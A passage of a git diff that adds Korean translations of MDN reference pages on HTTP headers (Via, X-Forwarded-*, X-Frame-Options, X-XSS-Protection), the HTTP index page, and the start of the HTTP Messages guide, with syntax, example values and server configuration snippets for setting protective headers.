+ <dd>"1.1" 과 같이 사용된 프로토콜의 버전.</dd>
+ <dt>&lt;host&gt; and &lt;port&gt;</dt>
+ <dd>공용 프록시의 URL 과 port.</dd>
+ <dt>&lt;pseudonym&gt;</dt>
+ <dd>내부 프록시의 이름 또는 별칭.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="notranslate">Via: 1.1 vegur
+Via: HTTP/1.1 GWA
+Via: 1.0 fred, 1.1 p.example.net
+</pre>
+
+<h2 id="기술사양">기술사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">기술사양</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Via", "5.7.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Via")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("X-Forwarded-For")}}</li>
+ <li><a href="https://github.com/heroku/vegur">Heroku's proxy library Vegur</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/x-forwarded-for/index.html b/files/ko/web/http/headers/x-forwarded-for/index.html
new file mode 100644
index 0000000000..9af08b5213
--- /dev/null
+++ b/files/ko/web/http/headers/x-forwarded-for/index.html
@@ -0,0 +1,81 @@
+---
+title: X-Forwarded-For
+slug: Web/HTTP/Headers/X-Forwarded-For
+tags:
+  - HTTP
+  - HTTP 헤더
+  - Reference
+  - 비표준
+  - 요청 헤더
+  - 헤더
+translation_of: Web/HTTP/Headers/X-Forwarded-For
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>X-Forwarded-For</code></strong> (XFF) 헤더는 HTTP 프록시나 로드 밸런서를 통해 웹 서버에 접속하는 클라이언트의 원 IP 주소를 식별하는 사실상의 표준 헤더다. 클라이언트와 서버 중간에서 트래픽이 프록시나 로드 밸런서를 거치면, 서버 접근 로그에는 프록시나 로드 밸런서의 IP 주소만을 담고 있다. 클라이언트의 원 IP 주소를 보기위해 X-Forwarded-For 요청 헤더가 사용된다.</p>
+
+<p>이 헤더는 디버깅, 통계, 그리고 위치 종속적인 컨텐츠를 위해 사용되고, 클라이언트의 IP 주소 등과 같은 민감한 개인정보를 노출시킨다. 그러므로 이 헤더를 사용할 때에는 사용자의 프라이버시를 주의해야 한다.</p>
+
+<p>이 헤더의 표준화된 버전은 HTTP {{HTTPHeader("Forwarded")}} 헤더다.</p>
+
+<p><code>X-Forwarded-For</code> 은 이메일 메시지가 다른 계정으로부터 포워딩되었음을 나타내는 이메일 헤더이기도 하다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">X-Forwarded-For: &lt;client&gt;, &lt;proxy1&gt;, &lt;proxy2&gt;
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;client&gt;</dt>
+ <dd>클라이언트 IP 주소</dd>
+ <dt>&lt;proxy1&gt;, &lt;proxy2&gt;</dt>
+ <dd>하나의 요청이 여러 프록시들을 거치면, 각 프록시의 IP 주소들이 차례로 열거된다. 즉, 가장 오른쪽 IP 주소는 가장 마지막에 거친 프록시의 IP 주소이고, 가장 왼쪽의 IP 주소는 최초 클라이언트의 IP 주소다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
+
+X-Forwarded-For: 203.0.113.195
+
+X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178
+</pre>
+
+<p>다른 비표준 형태:</p>
+
+<pre># 몇몇 구글 서비스에서 사용된다
+X-ProxyUser-Ip: 203.0.113.19</pre>
+
+<h2 id="기술명세">기술명세</h2>
+
+<p>현재 어떠한 표준 명세에도 속하지 않는다. 이 헤더의 표준화 버전은 {{HTTPHeader("Forwarded")}} 이다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("http.headers.X-Forwarded-For")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Forwarded")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Host")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Proto")}}</li>
+ <li>{{HTTPHeader("Via")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/x-forwarded-host/index.html b/files/ko/web/http/headers/x-forwarded-host/index.html
new file mode 100644
index 0000000000..6efc37a374
--- /dev/null
+++ b/files/ko/web/http/headers/x-forwarded-host/index.html
@@ -0,0 +1,74 @@
+---
+title: X-Forwarded-Host
+slug: Web/HTTP/Headers/X-Forwarded-Host
+tags:
+  - HTTP
+  - HTTP Header
+  - Non-standard
+  - Reference
+  - Request header
+  - header
+  - 레퍼런스
+  - 비표준
+  - 요청헤더
+  - 헤더
+translation_of: Web/HTTP/Headers/X-Forwarded-Host
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>X-Forwarded-Host</code></strong> (XFH) 헤더는 HTTP 요청 헤더에서 클라이언트가 요청한 원래 {{HTTPHeader("Host")}} 헤더를 식별하는 사실상의 표준 헤더입니다.</p>
+
+<p>리버스 프록시(로드발란서, CDN) 에서 Host 이름과 포트는 요청을 처리 하는 Origin 서버와 다를 수 있습니다. 이러한 경우 <code>X-Forwarded-Host</code> 헤더는 원래 사용된 Host 를 확인 하는데 유용 합니다.</p>
+
+<p>이 헤더는 디버깅, 통계 및 위치 종속 컨텐츠 생성에 사용되며 설계 상 클라이언트의 IP 주소와 같은 개인 정보에 민감한 정보를 노출합니다. 따라서이 헤더가 사용될 때 사용자의 개인 정보를 염두에 두어야합니다.</p>
+
+<p>이 헤더의 표준화된 버전은 HTTP {{HTTPHeader("Forwarded")}} 헤더 입니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">X-Forwarded-Host: &lt;host&gt;
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;host&gt;</dt>
+ <dd>전달된 서버의 도메인 이름.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>X-Forwarded-Host: id42.example-cdn.com
+</pre>
+
+<h2 id="기술명세">기술명세</h2>
+
+<p>현재 어떠한 표준 명세에도 속하지 않는다. 이 헤더의 표준화 버전은 {{HTTPHeader("Forwarded")}} 입니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("http.headers.X-Forwarded-Host")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Host")}}</li>
+ <li>{{HTTPHeader("Forwarded")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-For")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Proto")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/x-forwarded-proto/index.html b/files/ko/web/http/headers/x-forwarded-proto/index.html
new file mode 100644
index 0000000000..d81782152e
--- /dev/null
+++ b/files/ko/web/http/headers/x-forwarded-proto/index.html
@@ -0,0 +1,61 @@
+---
+title: X-Forwarded-Proto
+slug: Web/HTTP/Headers/X-Forwarded-Proto
+translation_of: Web/HTTP/Headers/X-Forwarded-Proto
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>X-Forwarded-Proto</code></strong> (XFP) 헤더는 클라이언트가 당신의 프록시 또는 로드 밸런서에 접속하는데에 사용했던 프로토콜(HTTP 또는 HTTPS)이 무엇인지 확인하는 사실상의 표준 헤더 입니다. 당신의 서버 접근 로그들은 서버와 로드 밸런서 사이에서 사용된 프로토콜을 포함하고 있습니다. 그러나 클라이언트와 로드밸런서에 사용한 프로토콜은 포함되어 있지 않습니다. 클라이언트와 로드밸런서 간의 사용된 프로토콜을 확인하기 위해서, <code>X-Forwarded-Proto 요청 헤더가 사용되어 질 수 있습니다.</code></p>
+
+<p>이 헤더의 표준화된 버전은 HTTP {{HTTPHeader("Forwarded")}} 헤더 입니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">X-Forwarded-Proto: &lt;protocol&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;protocol&gt;</dt>
+ <dd>넘겨져야 할 프로토콜 (http 또는 https).</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre>X-Forwarded-Proto: https</pre>
+
+<p>그 외의 비표준 폼:</p>
+
+<pre># Microsoft
+Front-End-Https: on
+
+X-Forwarded-Protocol: https
+X-Forwarded-Ssl: on
+X-Url-Scheme: https
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>어떠한 현재의 명세에도 포함되어 있지 않습니다. 이 헤더의 표준화된 버전은 {{HTTPHeader("Forwarded")}} 입니다..</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Forwarded")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-For")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Host")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/x-frame-options/index.html b/files/ko/web/http/headers/x-frame-options/index.html
new file mode 100644
index 0000000000..75e72e0ded
--- /dev/null
+++ b/files/ko/web/http/headers/x-frame-options/index.html
@@ -0,0 +1,129 @@
+---
+title: X-Frame-Options
+slug: Web/HTTP/Headers/X-Frame-Options
+translation_of: Web/HTTP/Headers/X-Frame-Options
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The <strong><code>X-Frame-Options</code></strong> <a href="/en-US/docs/Web/HTTP">HTTP</a> 응답 헤더는 해당 페이지를 {{HTMLElement("frame")}} 또는{{HTMLElement("iframe")}}, {{HTMLElement("object")}} 에서 렌더링할 수 있는지 여부를 나타내는데 사용됩니다. 사이트 내 콘텐츠들이 다른 사이트에 포함되지 않도록 하여 {{interwiki("wikipedia", "clickjacking")}} 공격을 막기 위해 이 헤더를 사용합니다.</p>
+
+<p>이 설정은 사용자가  <code>X-Frame-Options</code>를 지원하는 브라우저를 통해 페이지에 접근할 경우에만 보안됩니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p><code>X-Frame-Options</code> 과 관련해서는 다음의 3가지 설정이 가능합니다.</p>
+
+<pre class="syntaxbox">X-Frame-Options: deny
+X-Frame-Options: sameorigin
+X-Frame-Options: allow-from https://example.com/
+</pre>
+
+<h3 id="Directives">Directives</h3>
+
+<p><code>deny</code>는 같은 사이트 내에서 frame을 통한 접근도 막습니다.<br>
+ <code>sameorigin</code>를 명시할 경우에는 frame에 포함된 페이지가 페이지를 제공하는 사이트와 동일한할 경우 계속 사용할 수 있습니다.</p>
+
+<dl>
+ <dt><code>deny</code></dt>
+ <dd>어떠한 사이트에서도 frame 상에서 보여질 수 없습니다.</dd>
+ <dt><code>sameorigin</code></dt>
+ <dd>동일한 사이트의 frame에서만 보여집니다. 해당 스펙 안에서 브라우저 벤더가 최상위(top level), 혹은 부모(parent), 모든 체인(whole chain)에서 적용할지를 결정하도록 맡겨집니다. 하지만 모든 조상(ancestor)이 동일한 사이트에서 제공되지 않으면 이 옵션은 그다지 유용하지 않다고 논의되고 있습니다. (참고 {{bug(725490)}}). 상세 지원사항에 대한 참고 {{anch("Browser compatibility")}}.</dd>
+ <dt><code>allow-from <em>uri</em></code></dt>
+ <dd>지정된 특정 uri의 frame 에서만 보여집니다. 파이어폭스에서는 <code>sameorigin</code> 과 동일한 문제를 겪고 있습니다. 즉 동일한 사이트에 있는지에 대해서 frame의 조상(ancestor)을 확인하지 않습니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<div class="note">
+<p><strong>Note:</strong> 메타 테그 설정은 무용지물이다! 이를테면, <code>&lt;meta http-equiv="X-Frame-Options" content="deny"&gt;</code> 태그는 아무런 영향을 미치지 않는다. 따라서 사용하지지 말ㄹ! 오직 아래의 예제처럼 HTTP 헤더 설정을 통해서만<code>X-Frame-Options</code>이 동작한다.</p>
+</div>
+
+<h3 id="Apache_설정">Apache 설정</h3>
+
+<p>아파치에서 모든 페이지에 <code>X-Frame-Options</code> 헤더를 전송하려면, 사이트 설정에 다음의 설정을 추가합니다.</p>
+
+<pre>Header always set X-Frame-Options "sameorigin"
+</pre>
+
+<p>아파치에서 <code>X-Frame-Options</code> 거부(deny)하려면, 사이트 설정에 다음의 설정을 추가합니다.</p>
+
+<pre>Header set X-Frame-Options "deny"
+</pre>
+
+<p>아파치에서 특정 호스트(host)에서 <code>X-Frame-Options</code> 를 허용하려면(<code>allow-from)</code>, 사이트 설정에 다음의 설정을 추가합니다.</p>
+
+<pre>Header set X-Frame-Options "allow-from https://example.com/"
+</pre>
+
+<h3 id="nginx_설정">nginx 설정</h3>
+
+<p>nginx에서 <code>X-Frame-Options</code> 헤더를 전송하려면 http, server, location 설정에 아래 설정을 추가합니다.</p>
+
+<pre>add_header X-Frame-Options sameorigin;
+</pre>
+
+<h3 id="IIS_설정">IIS 설정</h3>
+
+<p>ISS에서 <code>X-Frame-Options</code> 헤더를 전송하려면, 사이트의 <code>Web.config</code> 파일에 다음을 추가합니다.</p>
+
+<pre class="brush: xml">&lt;system.webServer&gt;
+  ...
+
+  &lt;httpProtocol&gt;
+    &lt;customHeaders&gt;
+      &lt;add name="X-Frame-Options" value="sameorigin" /&gt;
+    &lt;/customHeaders&gt;
+  &lt;/httpProtocol&gt;
+
+  ...
+&lt;/system.webServer&gt;
+</pre>
+
+<h3 id="HAProxy_설정">HAProxy 설정</h3>
+
+<p>HAProxy에서 <code>X-Frame-Options</code> 헤더를 전송하려면, front-end, listen, 혹은 backend 설정에 다음을 추가합니다.</p>
+
+<pre>rspadd X-Frame-Options:\ sameorigin</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7034")}}</td>
+   <td>HTTP Header Field X-Frame-Options</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.X-Frame-Options")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="https://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx">ClickJacking Defenses - IEBlog</a></li>
+ <li><a href="https://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx">Combating ClickJacking with X-Frame-Options - IEInternals</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7034">HTTP Header Field X-Frame-Options - RFC 7034</a></li>
+ <li><a href="https://w3c.github.io/webappsec/specs/content-security-policy/#directive-frame-ancestors">CSP Level 2 frame-ancestors directive</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/x-xss-protection/index.html b/files/ko/web/http/headers/x-xss-protection/index.html
new file mode 100644
index 0000000000..9248414264
--- /dev/null
+++ b/files/ko/web/http/headers/x-xss-protection/index.html
@@ -0,0 +1,83 @@
+---
+title: X-XSS-Protection
+slug: Web/HTTP/Headers/X-XSS-Protection
+translation_of: Web/HTTP/Headers/X-XSS-Protection
+---
+<div>{{HTTPSidebar}}</div>
+
+
+
+<p>HTTP <strong><code>X-XSS-Protection</code></strong>헤더는 Internet Explorer, Chrome 및 Safari에서 제공하는 기능으로서, ({{Glossary("XSS")}}) 공격을 감지 할 때 페이지 로드를 중지시킬 수 있습니다. 최신 브라우저에서는 Inline Javascript(<code>'unsafe-inline')</code>사용을 못하게 하는 CSP(Content-Security-Policy) 보호기능이 있으나, 해당 기능을 지원하지 않는 구형 웹브라우저에서 사용자를 보호 할수 있는 기능을 제공할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">X-XSS-Protection: 0
+X-XSS-Protection: 1
+X-XSS-Protection: 1; mode=block
+X-XSS-Protection: 1; report=&lt;reporting-uri&gt;
+</pre>
+
+<dl>
+ <dt>0</dt>
+ <dd>XSS 필터링을 비활성화합니다.</dd>
+ <dt>1</dt>
+ <dd>XSS 필터링을 사용합니다 (일반적으로 브라우저의 기본값입니다). 사이트 내에서 스크립팅 공격이 감지되면 브라우저는 안전하지 않은 영역을 제거 후에 렌더링을 하게 됩니다.</dd>
+ <dt>1; mode=block</dt>
+ <dd>XSS 필터링을 사용합니다. 공격이 탐지되면 안전하지 않는 영역을 제거하는게 아니라, 페이지 렌더링을 중단합니다.</dd>
+ <dt>1; report=&lt;reporting-URI&gt;  (Chromium에서만 사용 가능)</dt>
+ <dd>XSS 필터링을 사용합니다. XSS 공격을 탐지하면 브라우저는 페이지 렌더링을 차단하고 위반 사항을 보고합니다. 이것은 CSP {{CSP ( "report-uri")}} 지시문의 기능을 사용하여 보고서를 보냅니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>XSS 공격을 감지하면 페이지로드를 차단합니다.</p>
+
+<pre class="brush: bash notranslate">X-XSS-Protection: 1; mode=block</pre>
+
+<p>PHP</p>
+
+<pre class="brush: php notranslate">header("X-XSS-Protection: 1; mode=block");</pre>
+
+<p>Apache (.htaccess)</p>
+
+<pre class="brush: bash notranslate">&lt;IfModule mod_headers.c&gt;
+  Header set X-XSS-Protection "1; mode=block"
+&lt;/IfModule&gt;</pre>
+
+<p>Nginx</p>
+
+<pre class="brush: bash notranslate">add_header "X-XSS-Protection" "1; mode=block";</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Not part of any specifications or drafts.</p>
+
+<h2 id="지원_브라우저">지원 브라우저</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.X-XSS-Protection")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li>
+ <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li>
+ <li>
+  <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/index.html b/files/ko/web/http/index.html
new file mode 100644
index 0000000000..8c417d355c
--- /dev/null
+++ b/files/ko/web/http/index.html
@@ -0,0 +1,87 @@
+---
+title: HTTP
+slug: Web/HTTP
+tags:
+  - CORS
+  - HTTP
+  - Reference
+  - TCP/IP
+  - Web
+  - 'l10n:priority'
+translation_of: Web/HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong><dfn>하이퍼텍스트 전송 프로토콜(HTTP)</dfn></strong><dfn>은 HTML과 같은 하이퍼미디어 문서를 전송하기위한 </dfn><a href="https://en.wikipedia.org/wiki/Application_Layer">애플리케이션 레이어</a> 프로토콜입니다. 웹 브라우저와 웹 서버간의 커뮤니케이션을위해 디자인되었지만, 다른 목적으로도 사용될 수 있습니다. HTTP는 클라이언트가 요청을 생성하기 위한 연결을 연다음 응답을 받을때 까지 대기하는 전통적인 <a href="https://en.wikipedia.org/wiki/Client%E2%80%93server_model">클라이언트-서버 모델</a>을 따릅니다. HTTP는 <a href="https://en.wikipedia.org/wiki/Stateless_protocol">무상태 프로토콜</a>이며, 이는 서버가 두 요청간에 어떠한 데이터(상태)도 유지하지 않음을 의미합니다. 일반적으로 안정적인 <a href="https://en.wikipedia.org/wiki/Transport_Layer">전송 레이어</a>로 UDP와 달리 메세지를 잃지 않는 프로토콜인 TCP/IP 레이어를 기반으로 사용 합니다. <a href="https://en.wikipedia.org/wiki/Reliable_User_Datagram_Protocol">RUDP</a> — 안정적인 업데이트인 UDP의 적합한 대안 입니다.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="자습서">자습서</h2>
+
+<p>가이드와 튜토리얼을 통해 HTTP를 사용하는 방법을 배워보세요.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Overview">HTTP 개요</a></dt>
+ <dd>클라이언트-서버 프로토콜의 기본 기능들: 할 수 있는 것과 의도된 용도.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Caching">HTTP 캐시</a></dt>
+ <dd>캐싱은 빠른 웹 사이트를 위해 아주 중요합니다. 이 글은 여러 캐싱 방법과 HTTP 헤더를 사용하여 이를 제어하는 방법을 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Cookies">HTTP 쿠키</a></dt>
+ <dd>쿠키가 동작하는 방식은 <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>에서 정의합니다. HTTP 요청을 제공할 때, 서버는 응답과 함께 <code>Set-Cookie</code> HTTP 헤더를 전송합니다. 그 다음에 클라이언트는 모든 요청과 함께 쿠키의 값을 <code>Cookie</code> 요청 헤더의 형태로 동일한 서버에 반환합니다. 쿠키는 특정 날짜에 만료되도록 설정하거나 특정 도메인 및 경로에 제한되도록 설정할수도 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/CORS">교차 출처 리소스 공유(CORS)</a></dt>
+ <dd><strong>교차 사이트 HTTP 요청</strong>은 요청을 생성한 리소스의 도메인과 <strong>다른 도메인</strong>의 리소스에 대한 HTTP 요청입니다. 예를 들면, 도메인 A(<code>http://domaina.example/</code>)의 HTML 페이지가 <code>img</code> 엘리먼트를 통해 도메인 B(<code>http://domainb.foo/image.jpg</code>)의 이미지에대한 요청을 생성하는 것입니다. 오늘날의 웹 페이지가 CSS 스타일시트, 이미지, 스크립트 등을 포함하는 교차-사이트 리소스을 로드하는 것을 아주 흔하게 볼 수 있습니다. CORS를 통해 웹 개발자는 그들의 사이트가 교차-사이트 요청에 대해 어떻게 반응할지 제어할 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">HTTP의 진화</a></dt>
+ <dd>초기 버전의 HTTP와 최신 HTTP/2 이후의 변경 사항에 대한 간략한 설명입니다.</dd>
+ <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Mozilla 웹 보안 가이드라인</a></dt>
+ <dd>안전한 웹 어플리케이션을 생성하는 운영 팀에 도움이되는 팁 모음입니다.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Messages">HTTP 메시지</a></dt>
+ <dd>HTTP/1.x와 HTTP/2의 다양한 종류의 메시지 타입과 구조에 대해 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Session">전형적인 HTTP 세션</a></dt>
+ <dd>일반적인 HTTP 세션의 흐름을 보여주고 설명합니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Connection_management_in_HTTP_1.x">HTTP/1.x의 연결 관리</a></dt>
+ <dd>HTTP/1.x에서 사용가능한 세 가지 연결 관리 모델과 그 장단점을 설명합니다.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="참고서">참고서</h2>
+
+<p>상세한 HTTP 참고서를 살펴보세요.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a></dt>
+ <dd>HTTP 메시지 헤더는 리소스 또는 서버나 클라이언트의 동작을 설명하는데 사용됩니다. 커스텀 등록 헤더는 <code>X-</code>를 앞에 붙여 추가할 수 있습니다. 그 외에는 원본 컨텐츠가 <a href="https://tools.ietf.org/html/rfc4229">RFC 4229</a>에서 정의된 <a href="https://www.iana.org/assignments/message-headers/message-headers.xhtml#perm-headers">IANA 레지스트리</a>에 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></dt>
+ <dd>HTTP로 수행할 수 있는 여러 작업: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} 요청 및 덜 자주 사용되는 {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("TRACE")}} 요청.</dd>
+ <dt><a href="/ko/docs/Web/HTTP/Response_codes">HTTP 상태 응답 코드</a></dt>
+ <dd>HTTP 응답 코드는 지정한 HTTP 요청이 성공적으로 완료되었는지를 나타냅니다. 응답은 다섯 가지 클래스로 그룹핑됩니다: 정보성 응답, 성공 응답, 리다이렉트, 클라이언트 에러, 서버 에러.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTTP/Headers/Content-Security-Policy">CSP 지시문</a></dt>
+ <dd>{{HTTPHeader("Content-Security-Policy")}} 응답 헤더 필드는 주어진 페이지를 로드하기 위해 유저 에이전트가 허용한 리소스를 웹 사이트 관리자가 제어할 수 있도록 해줍니다. 몇 가지 예외를 제외하고, 대부분의 정책은 서버 오리진과 스크립트 엔드포인트 지정을 포함합니다.</dd>
+</dl>
+
+<h2 id="도구_리소스">도구 &amp; 리소스</h2>
+
+<p>HTTP를 이해하고 디버깅하는데 도움이되는 도구와 리소스.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Tools">Firefox 개발자 도구</a></dt>
+ <dd><a href="/ko/docs/Tools/Network_Monitor">네트워크 모니터</a></dd>
+ <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt>
+ <dd>
+ <p>개발자, 시스템 관리자, 보안 전문가가 사이트를 안전하게 구성하는 것을 돕기위해 디자인된 프로젝트.</p>
+ </dd>
+ <dt><a class="external" href="https://redbot.org/">RedBot</a></dt>
+ <dd>캐시 관련 헤더를 확인하는 도구</dd>
+ <dt><a href="https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">브라우저가 동작하는 방식</a></dt>
+ <dd>브라우저 내부와 HTTP 프로토콜을 통한 요청 흐름에 대한 아주 이해하기 쉬운 문서. 웹 개발자라면 필독.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/web/http/index/index.html b/files/ko/web/http/index/index.html
new file mode 100644
index 0000000000..ffd7a593f4
--- /dev/null
+++ b/files/ko/web/http/index/index.html
@@ -0,0 +1,11 @@
+---
+title: HTTP 색인
+slug: Web/HTTP/Index
+tags:
+  - HTTP
+  - Index
+translation_of: Web/HTTP/Index
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>{{Index("/ko/docs/Web/HTTP")}}</p>
diff --git a/files/ko/web/http/messages/index.html b/files/ko/web/http/messages/index.html
new file mode 100644
index 0000000000..2493d11b64
--- /dev/null
+++ b/files/ko/web/http/messages/index.html
@@ -0,0 +1,147 @@
+---
+title: HTTP 메시지
+slug: Web/HTTP/Messages
+tags:
+  - Guide
+  - HTTP
+  - HTTP/1.1
+  - HTTP/2
+  - Response
+  - request
+translation_of: Web/HTTP/Messages
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP 메시지는 서버와 클라이언트 간에 데이터가 교환되는 방식입니다. 메시지 타입은 두 가지가 있습니다. 요청(<em>request)은 </em>클라이언트가 서버로 전달해서 서버의 액션이 일어나게끔 하는 메시지고, 응답(<em>response)은 요청</em>에 대한 서버의 답변입니다.</p>
+
+<p>HTTP 메시지는 ASCII로 인코딩된 텍스트 정보이며 여러 줄로 되어 있습니다. HTTP 프로토콜 초기 버전과 HTTP/1.1에서는 클라이언트와 서버 사이의 연결을 통해 공개적으로 전달되었습니다. 이렇게 한 때 사람이 읽을 수 있었던 메시지는 HTTP/2에서는 최적화와 성능 향상을 위해 HTTP 프레임으로 나누어집니다.</p>
+
